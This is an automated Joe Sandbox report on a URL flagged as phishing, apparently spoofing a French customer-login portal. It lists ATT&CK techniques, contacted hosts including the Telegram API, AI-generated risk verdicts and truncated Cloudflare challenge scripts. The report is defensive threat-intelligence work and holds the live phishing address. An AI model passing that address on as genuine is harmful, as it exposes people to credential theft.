Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	3 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
https://connexion-espacesclients.support/gkm/	100%	Avira URL Cloud	phishing

Name	IP	Active	Malicious	Reputation
connexion-espacesclients.support	172.67.212.110	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
cdn.tailwindcss.com	172.67.41.16	true	false	high
cdn.wetransfer.com	18.66.161.101	true	false	high
www.google.com	142.250.181.100	true	false	high
wetransfer.com	18.66.161.92	true	false	high
api.telegram.org	149.154.167.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://connexion-espacesclients.support/gkm/	true		unknown
https://connexion-espacesclients.support/gkm/?__cf_chl_rt_tk=ikmDfOrsD_3PGWhiFgfOsLgIkMRFnIf6Cg1queg1K08-1733219199-1.0.1.1-pjQs1POxFuUapvCSUYkqFSNZD0TR_nfsaK15qyYdMpE	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.206	unknown	United States	15169	GOOGLEUS	false
18.66.161.101	cdn.wetransfer.com	United States	3	MIT-GATEWAYSUS	false
172.67.41.16	cdn.tailwindcss.com	United States	13335	CLOUDFLARENETUS	false
172.217.17.46	unknown	United States	15169	GOOGLEUS	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.208.227	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.22.21.144	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
74.125.205.84	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.37.192	unknown	United States	13335	CLOUDFLARENETUS	false
18.66.161.92	wetransfer.com	United States	3	MIT-GATEWAYSUS	false
172.217.17.74	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
18.66.161.49	unknown	United States	3	MIT-GATEWAYSUS	false
172.67.212.110	connexion-espacesclients.support	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567263
Start date and time:	2024-12-03 10:46:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://connexion-espacesclients.support/gkm/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.troj.win@22/25@34/171

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.46, 74.125.205.84, 34.104.35.123
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://connexion-espacesclients.support/gkm/

LLM Input / Output

Input	Output
URL: https://connexion-espacesclients.support Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://connexion-espacesclients.support
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "Script contains multiple high-risk indicators: heavily obfuscated data/URLs (encoded strings and tokens), suspicious domain pattern (connexion-espacesclients.support), and complex challenge/verification parameters suggesting potential security bypass or phishing attempt. The extensive use of encoded parameters and suspicious TLD (.support) adds to risk profile." }
(function(){window._cf_chl_opt={cvId: '3',cZone: "connexion-espacesclients.support",cType: 'interactive',cRay: '8ec2a17a5e9b4271',cH: 'F7m_a4IJb.ldKgjE6gMJVyrke.F4qAGjM6mn8fY8EEY-1733219199-1.2.1.1-rYbojlDlPOsrT2veLluuRIO9DIfQXFVzaorlK74AaCGdUIZPJe7DwZBXzdQ.vr3V',cUPMDTk: "\/gkm\/?__cf_chl_tk=ikmDfOrsD_3PGWhiFgfOsLgIkMRFnIf6Cg1queg1K08-1733219199-1.0.1.1-pjQs1POxFuUapvCSUYkqFSNZD0TR_nfsaK15qyYdMpE",cFPWv: 'b',cITimeS: '1733219199',cTTimeMs: '1000',cMTimeMs: '390000',cTplC: 0,cTplV: 5,cTplB: 'cf',cK: "",fa: "\/gkm\/?__cf_chl_f_tk=ikmDfOrsD_3PGWhiFgfOsLgIkMRFnIf6Cg1queg1K08-1733219199-1.0.1.1-pjQs1POxFuUapvCSUYkqFSNZD0TR_nfsaK15qyYdMpE",md: "vEYGBv7peezJ11GKOBdC2gvvDkE.VyiPbLWtYb92Yg8-1733219199-1.2.1.1-q3vygDGGc7sjMkVEeiQOt0UvpRkuX0NPxJqm0INPbFyhYgwRyGFsobmCfitAx0xJ.KGA.pWCWeKcYYWmYpJxCKknHo4W7ED_STXajJo6TeDIRi6ODeDhq.S_0wNmbLP3g4WaLHPY95Hv5k23aIVv1dNGo7muEthLYrg4LuKAI9UfbNZbLfJSgirSArxDbnvBcUWDwYFHbcCQnIUO10SYAwxJ8fZWML9onSWvjc.QQpub_1fTJuhyJJuC4LFSW8FDtzPedzZMJUlujkJcV6djvq31.RVtJvvy29jd.L2muWhe1_lTv0f9vIjRmXHKYceKhbtCGPSwx3BZcbV2D56BmT.kxvCu0xgPajdPgJrjwj500UPa4WV_M1t6_w4ItjcxhVtnhsBin2Xw3lUTQNW0pemuXbWBE7UDsc48lBXLZzpnyu7_6X_GZFQ.RxgUr3zeDv09QaupET2N74ypNJ6cRBimbV81eCtOTu02ewvLU5eBl1CORc4C.zogAVfOo.NnIxKqBCX7bK2cggh_ykncIovPKxPkesKMB2..Gunc15LkcjLfWQM.YJg65Qithz3q_DIZjkgnDNbAcZFtaMabv3uxE4PL_tA41TygoeAyJDanCV4Pm9vGC86rAk4LZQGZMybgnd0AzTWuK2r9XDk6okIrpx_i2NSv4olfNBEXkL3cPf2pJp1dKA__ws9i5Rmy7Wqe1SiuKaVm4QcRy34QlgmrrW6tCr6Z5EH.C5ZExY7YnzmiZDo8OtYx2K1_K6MrMf4ZVxHZ6C3AjaG.92ZMQ2SZUHzWt3X5.dqAv6wMkR.xk.BPKmL2qOTBUfu0WsJdBRkQ9YMTQqBJTRS6NMMYWS2cbfMyyEgysq7hiSZskoYzGKe3ezjlTFAEgsr9nwxs7MTW7fbY4pGOj5J2IGqcNrAubsNdycUFdxdlOzF7xaIa7ptDYi.nQVGjP3gsZeFOI9ZcpvqKc.cdCNY28eahRLouKPV1kkZN8JzPKEhlv5L0QP4GOy99mSLG1PyPXoyivWYjxP5okiZj._9PBC22XGscLCt6g3y3OeG4QslEl17GZ._sjTm4wzu0u6MDMEWaJesKLZo22qrJpHVqcyg2AQEslYXzoWMrPnJkkO.e_FuVwbdfAh_CA9wJxISmyst6a0Mdw7HgI6.DU8PE8ubhXNxefmhAOXGhq5LVss7ESGdm5wGdtJos0xwAiSV2U.FqSDbUnFZq6jAnllxE7Vh6fwggyoXz3PTLOQU.jExgZf7SXU2qy_CWHRE1CUXXS598YT2hxUojhzEvrYVQxETM0sbomc.DCeT_cBtXCO8z9Rsnl62mLJinubbINLbGF54Pg.AZkuI6GLahCidQ2xFucNedwm7l8M0yPtt5PSg4P5LNSOHU0nykT0uIBMcqzdlABrFPav8nM1NOsZlTWAEebOxHqTLoiTyMJmeuhGVD_RzK2iwL6MVSkw7oJeBPwLV3H9SOejI.jNdAXsgHZNAEBryNbyO_d69BImhCJrBAqtR.FSaG8xW0tk2F4LxPacL1rt2vPJlZECC7YN3uQO6iYi61dZfOG6xyGGAFEitFhm35aR9DNP6hEIQ9t5JWw1vjEhHd.tIKCvo8TBb074lipG5uDIRW9OsafRt6cCp4l34zPxF9gl_3fK89aesKcY6hX6y6_HuYtSmJH.X4dceHkGwkuNwd1XC5lbpzgYGf.o_6zbAS5FUS2AKeqMzRWi3O3oS4DIllsUZZi9qzFPCLEtEokdETsZsDpMWbGjV1HXQ6NLPktwLjpszpo6YucfhbD.RXminoHj2KCXbC0q.s.X56Vaf0.QpeKqWPPd8hw2p.sxidx9isI4Q.BFBc9mJYsvHGnyAjv32rlCS6xtYBIDO.xA39oG1aCznAZnAiW74sOjNAt_2uwB.V02I_VMZe",mdrd: "UJlfFiJyPqLKbC6VfaBV._RuZpHmgA5knDU9GqnmJfk-1733219199-1.2.1.1-NKkPySmn._RVwlzN17vmZg949V5DI0ke4efYAcrqHjTQuU5wSwSskYD4.F1O.SFgRC2R4kPbxPsrgYOAdEgPFBmjT5A0qL9DqfbjoKZ7NUdaGOKwm7y5rvA1GKx1ZE9D08_SqFBxQgSxYRb1FPBkNN9Lnb36Ss1BU04yQhYidr3bvASuP6mzbdId0yCRmlF2Qo2rV6daIC32OpjDsQg0mtpkrk2iFRIsiCz2xCkr0_9ciMcvWOZMQGEyci7457ps3Y54_txTZxbvLl1Bi.Qj1sPhNfnEvztNpJXc4m4_WkboYeGmbMxyNg6RaNWyxuQeQqGakr4nHz8JwrjOiMlCS00QXZSk7Yb2nJDM6RUk4AneQmzYznbXupt.fiBhAc2L0z9Wa0vbiEYiLr_zSrkeR4fzjoPa0X4Vjnwuisx0FFXcPR_5R.IW_jIc7IzUyWPT_uRe4cE5avfpdn.1MOfACcTXC.I_dMrJqo6BTsK.IV_IhDjRaXYpuZIgQrJTqakAx_y2lwjwqUR6h8urTfZ4hIVrP5UBDAwobB2edNMnNHl6K_3hQx7xUgCiu_werOFYuizivg8RgoeYU.e7fQGuNsZ5FgMZfTnSTttWbWcZpxUNvreNPx8tJjf3J36zEr.0sQm6Kp4MOYLYXZR9CLl0YXiMhl5w8YOfF._PiEAozGlPC7ZTbJQEK2.hjjopO7D4.mJvWTVuigUxCb975kq0t8nMUQpfclLVWMlJkuyAYbe6JbkTNdmksnON_14mHXiMnT3YqvwQvJAuleX.1bfUphTnbMwb8QR52C0ILJhDP1j3umjvtKPOppGkovY3t6tV13Ta7xf.NhiGu_1XyMDWwoYubGHJS3epfTpzodHC8tdTpjGDDypm3h8Vo9oADJVSOQ0_nnUobQ3r1m0MTmRffhcIXtsdWkAzWqQ4eG3fjrtXao8CC2XjfZzHtve1AkaUqR2KwlUqQqaX.USZvrdsysoZoYfYwnGeausd0dp2B9vIbcy_0LzQAeQjYVC54_QuwmWoKm7S6_F3GpEezEkn3OF9CNQL6ZvS33HN2ae6lo3XQ0GaBCTUjL29hqEnBG3vSkf0kmEt.E9dtaRPcTEBiprU5PRFDZBBenzDW6rzAnhxzNm8urVSeDW8EFHXFX_oIwy6WzqLM1EfVO1sLBNzZauceZI28UZZqYUsgEDlZ9WjRPZRzD99AhFYENPdo48wJYoVX4GON8AuC6CKMYIzQZlFyZ6Ev1KXGwHEQca.Tt_Ljh48nEhwaO7jF0lxLI9g1uVFevWhx.Bb8vbqonmYr
URL: https://connexion-espacesclients.support/gkm/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying you are human. This may take a few seconds.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be legitimate Cloudflare Turnstile/Challenge code. It contains standard challenge verification logic, translations, and interactions with known trusted domain (cloudflare.com). While it uses some DOM manipulation and postMessage communication, these are standard practices for security challenges. The code is partially obfuscated but this is common for anti-bot systems." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},"translations":{"turnstile_footer_privacy":"Privacy","human_button_text":"Verify%20you%20are%20human","turnstile_feedback_description":"Send%20Feedback","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","turnstile_refresh":"Refresh","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_overrun_description":"Stuck%20here%3F","turnstile_verifying":"Verifying...","turnstile_feedback_report":"Having%20trouble%3F","turnstile_footer_terms":"Terms","turnstile_timeout":"Timed%20out","testing_only":"Testing%20only.","turnstile_success":"Success%21","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_failure":"Error","turnstile_expired":"Expired","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available"},"polyfills":{"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eU,eX,eZ,f0,f1,fd,fp,fv,fw,fx,fH,fS,fW,fX,fY,g2,g3,ga,gg,gh,gH,ge,gf){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1640))/1(-parseInt(gI(1188))/2)+parseInt(gI(1939))/3(parseInt(gI(1786))/4)+-parseInt(gI(1784))/5(-parseInt(gI(1674))/6)+-parseInt(gI(834))/7(-parseInt(gI(1480))/8)+-parseInt(gI(514))/9(-parseInt(gI(1089))/10)+-parseInt(gI(1927))/11(parseInt(gI(812))/12)+-parseInt(gI(616))/13,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,789535),eM=this\|\|self,eN=eM[gJ(601)],eO=function(f,gK,g,h,i,j,k,l,m){for(gK=gJ,g={},g[gK(1610)]=function(n,s){return n+s},g[gK(1906)]=function(n,s){return n%s},g[gK(949)]=function(n,s){return n-s},h=g,m,j=32,l=h[gK(1610)](eM[gK(1593)][gK(1566)]+'_',0),l=l[gK(1549)](/./g,function(n,s,gL){gL=gK,j^=l[gL(818)](s)}),f=eM[gK(438)](f),k=[],i=-1;!isNaN(m=f[gK(818)](++i));k[gK(1002)](String[gK(480)](h[gK(1906)](h[gK(949)](m&255.67,j)-i%65535+65535,255))));return k[gK(701)]('')},eM[gJ(615)]=function(e,gV,g,h,j){h=(gV=gJ,g={},g[gV(1663)]=function(i,j){return j!==i},g);try{if(h[gV(1663)](gV(1437),gV(1437)))j={},j[gV(986)]=gV(1613),j[gV(1058)]=e[gV(1593)][gV(1055)],j[gV(1797)]=gV(1717),j[gV(1739)][gV(1728)](j,'');else return eR(e)}catch(j){return eP(eQ(e))}},eM[gJ(1208)]=function(gW,d,e,f,g){gW=gJ,d={},d[gW(1084)]=gW(1613),d[gW(1059)]=gW(721),d[gW(951)]=function(h,i){return h<<i},e=d,f=1,g=1e3eM[gW(593)][gW(1252)](e[gW(951)](2,f),32),eM[gW(1587)](function(gX){gX=gW,eM[gX(1739)]&&(eM[gX(1511)][gX(1934)](),eM[gX(1511)][gX(392)](),eM[gX(1936)]=!![],eM[gX(1739)][gX(1728)]({'source':e[gX(1084)],'widgetId':eM[gX(1593)][gX(1055)],'event':gX(863)
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be a legitimate Cloudflare Turnstile (CAPTCHA/challenge) implementation script. It contains standard error handling, Promise implementations, and type definitions. While it uses some complex code patterns, these are typical for production JavaScript libraries and show no signs of malicious behavior." }
"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Sr(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function jt(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function zt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null\|\|r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function Gt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"\|\|n==="Set")return Array.from(n);if(n==="Arguments"\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6\|\|p[0]===2)){n=0;continue}if(p[0]===3&&(!u\|\|p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Xt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j\|\|(j={}));var L;(fun
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be legitimate Cloudflare challenge JavaScript configuration code. It contains translations and metadata for Cloudflare's human verification system. While it includes URL parameters and encoded strings (+1), these are standard for Cloudflare's security services. The domain (cloudflare.com) is trusted (-1), and the behavior is consistent with legitimate security verification purposes." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},"translations":{"interactive_running":"Verify%20you%20are%20human%20by%20completing%20the%20action%20below.","challenge_running":"Verifying%20you%20are%20human.%20This%20may%20take%20a%20few%20seconds.","success_title":"Verification%20successful","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","location_mismatch_warning":"Website%20is%20not%20accessible%20via%20this%20address.","redirecting_text_overrun":"%25%7Bplaceholder.com%7D%20is%20taking%20longer%20than%20expected%20to%20reply.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","cookies_missing":"Please%20enable%20Cookies%20and%20reload%20the%20page.","turnstile_feedback_description":"Send%20Feedback","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","footer_text":"Performance%20%26amp%3B%20security%20by%20Cloudflare","time_check_cached_warning_aux":"%3Ca%20class%3D%22refresh_link%22%3ERefresh%20the%20page%3C%2Fa%3E%20to%20try%20again.%20If%20the%20issue%20persists%20attempt%20a%20different%20link%20to%20get%20to%20the%20desired%20page.%20Alternatively%2C%20try%20going%20to%20the%20root%20of%20%25%7Bplaceholder.com%7D.","interstitial_helper_explainer":"%25%7Bplaceholder.com%7D%20uses%20a%20security%20service%20to%20protect%20against%20malicious%20bots.%20You%20may%20see%20this%20page%20while%20the%20site%20verifies%20you%27re%20not%20a%20bot.","interstitial_helper_title":"What%20is%20this%20Page%3F","stuck_helper_title":"Stuck%20on%20this%20page%3F","turnstile_overrun_description":"Stuck%20here%3F","js_cookies_missing":"Enable%20JavaScript%20and%20cookies%20to%20continue%20verification","redirecting_text":"Waiting%20for%20%25%7Bplaceholder.com%7D%20to%20respond...","check_thirdparty":"Please%20unblock%20challenges.cloudflare.com%20to%20proceed.","js_cookies_missing_aux":"%25%7Bplaceholder.com%7D%20needs%20to%20verify%20you%20are%20human%20before%20proceeding.%20Please%20enable%20JavaScript%20and%20cookies%2C%20then%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E.","favicon_alt":"Icon%20for%20%25%7Bplaceholder.com%7D","stuck_helper_explainer":"If%20you%20are%20stuck%20on%20this%20page%2C%20your%20device%20or%20connection%20has%20been%20flagged%20as%20a%20bot.%20Try%20resetting%20your%20device%20or%20internet%20connection%20%28e.g.%20router%29.%20For%20additional%20assistance%2C%20contact%20the%20site%20owners.","browser_not_supported_aux":"%25%7Bplaceholder.com%7D%20needs%20to%20verify%20you%20are%20human%20before%20proceeding.%20Your%20%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%27challenge.supported_browsers%27%3Ebrowser%20is%20unsupported%3C%2Fa%3E%20and%20unable%20to%20complete%20verification.%20Try%20a%20different%20browser%20or%20make%20sure%20your%20browser%20is%20updated%20to%20the%20newest%20version.","location_mismatch_warning_aux":"The%20address%20to%20the%20requested%20website%20has%20changed%20and%20is%20not%20accessible.%20Try%20a%20different%20link%20to%20get%20to%20the%20desired%20page%20or%20try%20going%20to%20the%20root%20of%20%25%7Bplaceholder.com%7D.","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","page_title":"Just%20a%20moment...","human_button_text":"Verify%20you%20are%20human","review_connection":"%25%7Bplaceholder.com%7D%20needs%20to%20review%20the%20security%20of%20your%20connection%20before%20proceeding.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%2
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This is a legitimate Cloudflare challenge script used for their security verification system. It contains standard postMessage communication between frames, interacts with a known trusted domain (cloudflare.com), and uses typical challenge-response patterns. The code is not obfuscated and follows expected security widget implementation patterns." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'sbzvu', chlApiSitekey: '0x4AAAAAAAAjq6WYeRDKmebM', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: '1/kVL2t161R37ZZrj_', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '8ec2a1afce5342c3', cH: 'LVhVjc2GUjt4KUrrKlatjYuNYy.TpM1D15KyuowzWNQ-1733219207-1.1.1.1-4UB_qUNcxehIoPQBLOj8JKxrES_MTJtecrSl8p3tQFsnsw9KHikWPd3.TBP3alcv', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'light', wS: 'normal', md: 'CX5YAAsQhr9517DgTIUq0k_HiOrpxBG21kGCca4vmxE-1733219207-1.1.1.1-x0W0tsI93Ju.rH.tMX0nRZqkjZCQg53nchKlTr3AOPp8E.NMg6E1FAIeqhBYyD9CGgTfL6Otx1B9iCBvhlRMovOnOvI3zfOvucLaT2BjrcLy8jVn8VnFrDxHdU8nwBCtG5V7QKpIxOyGQhhAz5CMtBAxPvaKHjXBpMEi9.aeJqCDvu0ZKmUkj5V0gBSpvSh4YSgrbcxIJFe.4JBFRMOWUateIp45pO2OysDTe0FMhjcxnveBvHk1nflU7yI2qF9IWQLCixaoK280KvdIzlb5TLcrQYWydSGvDmvLVVD3Rx8A_Flszd0_T37n7OKTvTLlRyvGlSc7VKY6xtOagfyHSIbpTeheoP7vVQK8HjZCMkb.sMly5aqkJdFW5IXMqyQW0XSd46kmmmAd0We8s5yzoYMJBJZ0X_oByBmOpYUgIZxF1bZRvIWuZAHkCiEmfiibEvk4_G4T3RPsYImcsAXHUj339Wc1IkoqhC_BXiELSHtx2wskyC1olcH7EbUPgcpfPJ8u3SUfisFTTlPEH6KxB2qc4CsucEG1BbJO9XNWLPi8VSTToLs1oVEmXaVLaGZrHDxZD.tiMq641y6Jl8UHB4wCHIjLWDYB5TXKHVQ0BjViB4v8rbsIY8nIT3lX1gDhjPfJzXCX0ofd_Rm4yTcTh3CIhwAbcK_WlA4jboOGPn9DtCilm4YlR7EUtuOyqbWEd60UUt2mPe5AiHlGFnhyOXFkaqXMfr.hxcDdMs6_RzCjOVNS22Jesp6ZdQESAwUXFdH4JhuG_Qj7vaE.1_Su1bVzyXK7S5KvE6PCYp2wR7fmG2HUa91UymFNr966VF2j7yd02ZIGfVs3VJBTwAe3aAN2S0_FwZKP_MpOQWSWD.a5FtRQuGBxK07H7IY5KH8zFZLuZD3B4Ugz6tvGJYimJj.rlluG2IdMSXfYRDx